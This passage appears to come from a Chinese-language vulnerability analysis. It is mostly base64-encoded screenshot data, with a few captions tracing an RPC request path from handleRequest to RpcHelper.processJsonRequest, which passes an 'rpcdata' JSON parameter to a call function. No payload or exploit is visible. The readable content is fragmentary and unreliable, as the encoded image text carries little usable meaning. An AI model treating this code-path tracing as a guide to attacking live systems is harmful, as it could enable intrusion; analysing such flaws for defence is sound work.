fy/Huqz8jnUoC1mLYNAwqauoIBEuYGBkknUpSUlZOZU09o0P9S+evsgqikVlG+nuKaawlz4rjz+gwQhE0tGyitLySmoYW2jt3EiwpwzB0+u/ewuF0UtPQTLCkjLHhfuKR8JJFtyIUWrd2ESwpJTo3w8hgH7lsBofDSVVdI6ZhECotw+n2MNhzh2h4ds16Xo94JMzZt37Otp37ad3cyeWz7zDcf49sJkMgVMqOA0d59Sffpa/7Jg0t7ew7+gDlVbVMT4zhdLoY7LnLjUtnLine truncated
|
||||
<p>调用handleRequest</p>
|
||||
<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104715-ab12dae6-df51-1.png><img src=data:image/png;base64,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 truncated
|
||||
<p>继续跟进getControlPlugin</p>
|
||||
<p><a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104719-adc9349c-df51-1.png><img src="data:image/png;base64,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 truncated
|
||||
<p>然后调用RpcControlPlugin.handle</p>
|
||||
<p><a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104724-b0fb285a-df51-1.png><img src="data:image/png;base64,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 truncated
|
||||
<p>RpcHelper.processJsonRequest如下,获取rpcdata参数,用json存储,并传递给call函数</p>
|
||||
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104735-b75de75a-df51-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA0gAAAEWCAYAAABc/Ld1AAEAAElEQVR4nOy9Z3gc2Xmg+56qrs7d6EbOGQQIMII5kzOcnEdhRlmWg7xO63VYX/tutr2+69312l5blm3ZlqxkhQmaGWmiJnACcw5gBkHk1N3onKrO/VGNJsA8oxmJlup9HpBAV9epk+t85wtH9Pb2SiwsLCwsLCwsLCwsLP4V4ff7yefzJJPJ9zVdWyaTeV8TtLCwsLCwsLCwsLCw+KDJ5/Pk83neb3lGeV9Ts7CwsLCwsLCwsLCw+FeMJSBZWFhYWFhYWFhYWFgUuKUFpJ8G56h/LWWQ8l9LTi3+NSOlRAiBptl/0lmxsLCwsLhFURQVm6ZZa5Ofcn7c7SsNA5tmx2bTbvhd2weZEUOCECAu+1wCc+tEufwLgCqg1m0QzQmiWfGBCxqz6V8lK+/5Pk2BCpcklYdw5t2mfLWHSaSUxWcqinLZZfOKEO/uWYqiUllbTywSJhGP/uj5/BlANy71SCHEVfvw+4EEjB/Ts94PpASuMuZnqW1opnvZaoY